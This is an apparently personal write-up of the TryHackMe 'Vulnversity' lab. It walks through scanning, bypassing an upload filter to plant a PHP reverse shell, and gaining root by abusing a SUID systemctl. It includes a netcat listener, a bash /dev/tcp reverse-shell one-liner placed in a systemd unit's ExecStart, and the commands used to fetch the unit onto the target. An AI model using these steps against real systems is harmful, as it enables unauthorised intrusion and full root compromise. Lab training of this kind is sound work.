TryHackMe: Vulnversity

What I’ve learned in this room.

We will start with Task 2, since in the Task 1 you are just required to deploy the machine.

Task 2: Reconnaissance

And we start our reconnaissance with the classics: Nmap (cheat sheet by SANS).

You can also refer to the table presented by TryHackMe:

Although in the beginning of the task THM already tells you which flag to use to scan the target:

Scan this box: nmap -sV <machine’s ip>

Scan the box, how many ports are open?


What version of the squid proxy is running on the machine?


How many ports will nmap scan if the flag -p- 400 was used?


Using the nmap flag -n what will it not resolve?


What is the most likely operating system this machine is running?


What port is the web server running on?

nmap -sV scan results

Task 3: Locating directories using GoBuster

Again in this task THM let’s you know what to do:

run GoBuster with a wordlist: gobuster dir -u http://<ip>:3333 -w <word list location>

Also THM mentioned that If you are using Kali Linux you can find the wordlists under /usr/share/wordlists. And that’s what I did, cd into that directory and found the most suitable wordlist for brute-forcing the directories with GoBuster. You can see my scan results below:

GoBuster scan result

What is the directory that has an upload form page?


Next, we’re going to use this information to compromise the web server hosted on the target box.

Task 4 Compromise the webserver

So, open a Firefox in your Attackbox, go to the target’s machine IP, port 3333 (which was identified in the Task 1) and /internal/, and you will see there is form. As written:
“a form to upload files, we can leverage this to upload and execute our payload that will lead to compromising the web server.”

Try upload a few file types to the server, what common extension seems to be blocked?


Its an Apache server so I guessed it was php without having to upload anything.

Next we need to fuzz the form in order to figure out which file extension is allowed to be uploaded. And there also THM gives us some hint:

To begin, make a wordlist with the following extensions in:


Now make sure BurpSuite is configured to intercept all your browser traffic. Upload a file, once this request is captured, send it to the Intruder. Click on “Payloads” and select the “Sniper” attack type.

Click the “Positions” tab now, find the filename and “Add §” to the extension. It should look like so:


Run this attack, what extension is allowed?


Now using this information let’s download the reverse PHP shell, edit it to specify your attackbox’s IP address.

Open the terminal and start listening to incoming connections using netcat on port 1234 (this is the port specified in the reverse PHP shell file downloaded earlier):

nc -lvnp 1234

Upload your shell and navigate to http://<target box ip>:3333/internal/uploads/php-reverse-shell.phtml — This will execute your payload.

After that you will see a connection from the target box to your attackbox on port 1234.

Now it’s time to answer some questions.

What is the name of the user who manages the webserver?

I tried ps aux | grep command, but its not the root.

Then I tried cat etc/passwd to see who has bash access

ps aux | grep command output
cat etc/passwd command output

And we’ve got the answer:


And just going to the /home/bill directory we will find the flag:

Task 4 flag

Task 5 Privilege Escalation

Now all the fun starts in this task. And here I learned something I didn’t know before.

Now that we have compromised the web server we gotta escalate our privileges to get the flag for this task.

Below is a piece of theory I’ve taken from the THM:


In Linux, SUID (set owner userId upon execution) is a special type of file permission given to a file. SUID gives temporary permissions to a user to run the program/file with the permission of the file owner (rather than the user who runs it).

For example, the binary file to change your password has the SUID bit set on it (/usr/bin/passwd). This is because to change your password, it will need to write to the shadowers file that you do not have access to, root does, so it has root privileges to make the right changes.

Now, time to answer some questions.

On the system, search for all SUID files. What file stands out?

I didn’t know how to approach this (I will have to improve my Linux skills here) so I googled and found a useful command in this pentestlab blog post:

find / -user root -perm -4000 -print 2>/dev/null

And the answer to this question is:


Actually if you click on “Hint” you would get a command which provides a more informative output:

find / -user root -perm -4000 -exec ls -ldb {} \;

And finally it’s a challenge time!

Become root and get the last flag (/root/root.txt)

I found a good chunk of theory on what is systemctl and how to exploit it thanks to this medium post 👏

The binary, systemctl, is a process that exists in linux operating systems that is used to start different services, such as apache servers. Because of the level of impact that systemctl can have on the system, it’s generally reserved for privileged users, such as system administrators. There are instances where permissions for systemctl may be misconfigured allowing for opportunities to leverage it into privilege escalation. For example, there may be entries in the /etc/sudoers file that allows a low privileged user to execute systemctl with root level privileges, or systemctl may be configured with SUID permissions which provides low privileged users access to the binary. In this blog, we’re going to discuss how to do this assuming you have privileges to access systemctl.

So, following this post I created a file called root.service inside the attackbox. The contents of this file:

Description=becoming root
ExecStart=/bin/bash -c ‘bash -i >& /dev/tcp/ip_address_of_my_attackbox/9999 0>&1’

If we successfully launch this file inside the target box, the systemctl will execute bash reverse shell one liner with the root privileges.

We also need to run netcat on port 9999 (since that’s the port we’ve specified above) to receive the reverse shell connection.

Now we need to upload this file to the target box. To achieve that I have launched a simple http server from where I saved the root.service file in order to make it accessible.

python3 -m http.server 9000

Then I switched to the target box and downloaded the file using wget command to /tmp folder as I assumed we can save the content in that location.

ls to re-assure the file is saved in /tmp directory 😅 Then using /bin/systemctl enable /tmp/root.service command to create a symlink, and /bin/systemctl start root.service to start our service:

upload and start root.service

Now we can switch to terminal of our attackbox where we’ve started another netcat session (on port 9999):

And as you can see we’ve just rooted the box and you can get the last flag! 🎆

Everything is unknown until it’s known. Self-learner.